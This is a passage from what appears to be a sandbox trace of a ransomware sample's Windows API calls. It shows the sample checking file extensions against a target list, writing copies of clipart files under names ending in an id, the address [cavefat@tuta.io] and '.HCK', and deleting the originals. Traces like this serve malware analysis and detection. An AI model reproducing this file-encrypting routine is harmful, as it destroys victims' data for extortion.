(lpString=".xlsx") returned 5 [0171.593] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.593] lstrlenW (lpString=".ppt") returned 4 [0171.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString=".zip") returned 4 [0171.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.593] lstrlenW (lpString=".rar") returned 4 [0171.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString=".bz2") returned 4 [0171.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString=".7z") returned 3 [0171.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString=".dbf") returned 4 [0171.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString=".1cd") returned 4 [0171.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString=".jpg") returned 4 [0171.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString=".doc") returned 4 [0171.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString=".docx") returned 5 [0171.593] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.594] lstrlenW (lpString=".pdf") returned 4 [0171.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.594] lstrlenW (lpString=".xls") returned 4 [0171.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.594] lstrlenW (lpString=".xlsx") returned 5 [0171.594] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.594] lstrlenW (lpString=".ppt") returned 4 [0171.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.594] lstrlenW (lpString=".zip") returned 4 [0171.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.594] lstrlenW (lpString=".rar") returned 4 [0171.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.594] lstrlenW (lpString=".bz2") returned 4 [0171.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.594] lstrlenW (lpString=".7z") returned 3 [0171.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.594] lstrlenW (lpString=".dbf") returned 4 [0171.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.594] lstrlenW (lpString=".1cd") returned 4 [0171.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.594] lstrlenW (lpString=".jpg") returned 4 [0171.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.594] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.594] lstrlenW (lpString="J0252629.WMF") returned 12 [0171.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0171.599] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2786) returned 1 [0171.599] CloseHandle (hObject=0x354) returned 1 [0171.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf")) returned 0x220 [0171.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.617] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.618] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.625] GetLastError () returned 0x0 [0171.625] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xae2, lpOverlapped=0x0) returned 1 [0171.626] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0171.627] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.627] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.627] SetEndOfFile (hFile=0x378) returned 1 [0171.629] CloseHandle (hObject=0x378) returned 1 [0171.631] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.631] SetEndOfFile (hFile=0x394) returned 1 [0171.637] CloseHandle (hObject=0x394) returned 1 [0171.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf")) returned 1 [0171.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.643] lstrlenW (lpString=".doc") returned 4 [0171.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.643] lstrlenW (lpString=".docx") returned 5 [0171.643] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.643] lstrlenW (lpString=".pdf") returned 4 [0171.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".xls") returned 4 [0171.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.644] lstrlenW (lpString=".xlsx") returned 5 [0171.644] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.644] lstrlenW (lpString=".ppt") returned 4 [0171.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString=".zip") returned 4 [0171.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.644] lstrlenW (lpString=".rar") returned 4 [0171.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".bz2") returned 4 [0171.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".7z") returned 3 [0171.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString=".dbf") returned 4 [0171.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString=".1cd") returned 4 [0171.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString=".jpg") returned 4 [0171.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString=".doc") returned 4 [0171.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".docx") returned 5 [0171.644] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.644] lstrlenW (lpString=".pdf") returned 4 [0171.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".xls") returned 4 [0171.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.644] lstrlenW (lpString=".xlsx") returned 5 [0171.644] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.644] lstrlenW (lpString=".ppt") returned 4 [0171.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.644] lstrlenW (lpString=".zip") returned 4 [0171.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.644] lstrlenW (lpString=".rar") returned 4 [0171.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".bz2") returned 4 [0171.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.644] lstrlenW (lpString=".7z") returned 3 [0171.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.645] lstrlenW (lpString=".dbf") returned 4 [0171.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.645] lstrlenW (lpString=".1cd") returned 4 [0171.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0171.645] lstrlenW (lpString=".jpg") returned 4 [0171.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.645] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.645] lstrlenW (lpString="J0280468.WMF") returned 12 [0171.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.650] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=73198) returned 1 [0171.650] CloseHandle (hObject=0x2f0) returned 1 [0171.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf")) returned 0x220 [0171.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.657] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.658] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.668] GetLastError () returned 0x0 [0171.668] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x11dee, lpOverlapped=0x0) returned 1 [0171.670] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x11df0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11df0, lpOverlapped=0x0) returned 1 [0171.671] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.671] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.672] SetEndOfFile (hFile=0x330) returned 1 [0171.692] CloseHandle (hObject=0x330) returned 1 [0171.693] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.694] SetEndOfFile (hFile=0x38c) returned 1 [0171.699] CloseHandle (hObject=0x38c) returned 1 [0171.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf")) returned 1 [0171.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.705] lstrlenW (lpString=".doc") returned 4 [0171.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.705] lstrlenW (lpString=".docx") returned 5 [0171.705] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.705] lstrlenW (lpString=".pdf") returned 4 [0171.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.705] lstrlenW (lpString=".xls") returned 4 [0171.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.705] lstrlenW (lpString=".xlsx") returned 5 [0171.705] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.705] lstrlenW (lpString=".ppt") returned 4 [0171.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".zip") returned 4 [0171.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.706] lstrlenW (lpString=".rar") returned 4 [0171.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString=".bz2") returned 4 [0171.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString=".7z") returned 3 [0171.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".dbf") returned 4 [0171.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".1cd") returned 4 [0171.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".jpg") returned 4 [0171.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".doc") returned 4 [0171.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString=".docx") returned 5 [0171.706] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.706] lstrlenW (lpString=".pdf") returned 4 [0171.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString=".xls") returned 4 [0171.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.706] lstrlenW (lpString=".xlsx") returned 5 [0171.706] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.706] lstrlenW (lpString=".ppt") returned 4 [0171.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".zip") returned 4 [0171.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.706] lstrlenW (lpString=".rar") returned 4 [0171.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString=".bz2") returned 4 [0171.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString=".7z") returned 3 [0171.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".dbf") returned 4 [0171.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.706] lstrlenW (lpString=".1cd") returned 4 [0171.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0171.707] lstrlenW (lpString=".jpg") returned 4 [0171.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.707] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.707] lstrlenW (lpString="J0281632.WMF") returned 12 [0171.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.715] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14420) returned 1 [0171.715] CloseHandle (hObject=0x380) returned 1 [0171.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf")) returned 0x220 [0171.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.729] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.729] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.731] GetLastError () returned 0x0 [0171.731] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3854, lpOverlapped=0x0) returned 1 [0171.734] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3860, lpOverlapped=0x0) returned 1 [0171.735] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.735] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.735] SetEndOfFile (hFile=0x2f0) returned 1 [0171.737] CloseHandle (hObject=0x2f0) returned 1 [0171.739] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.739] SetEndOfFile (hFile=0x378) returned 1 [0171.740] CloseHandle (hObject=0x378) returned 1 [0171.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf")) returned 1 [0171.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.745] lstrlenW (lpString=".doc") returned 4 [0171.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.745] lstrlenW (lpString=".docx") returned 5 [0171.745] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.745] lstrlenW (lpString=".pdf") returned 4 [0171.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.745] lstrlenW (lpString=".xls") returned 4 [0171.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.745] lstrlenW (lpString=".xlsx") returned 5 [0171.745] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.745] lstrlenW (lpString=".ppt") returned 4 [0171.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.745] lstrlenW (lpString=".zip") returned 4 [0171.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.745] lstrlenW 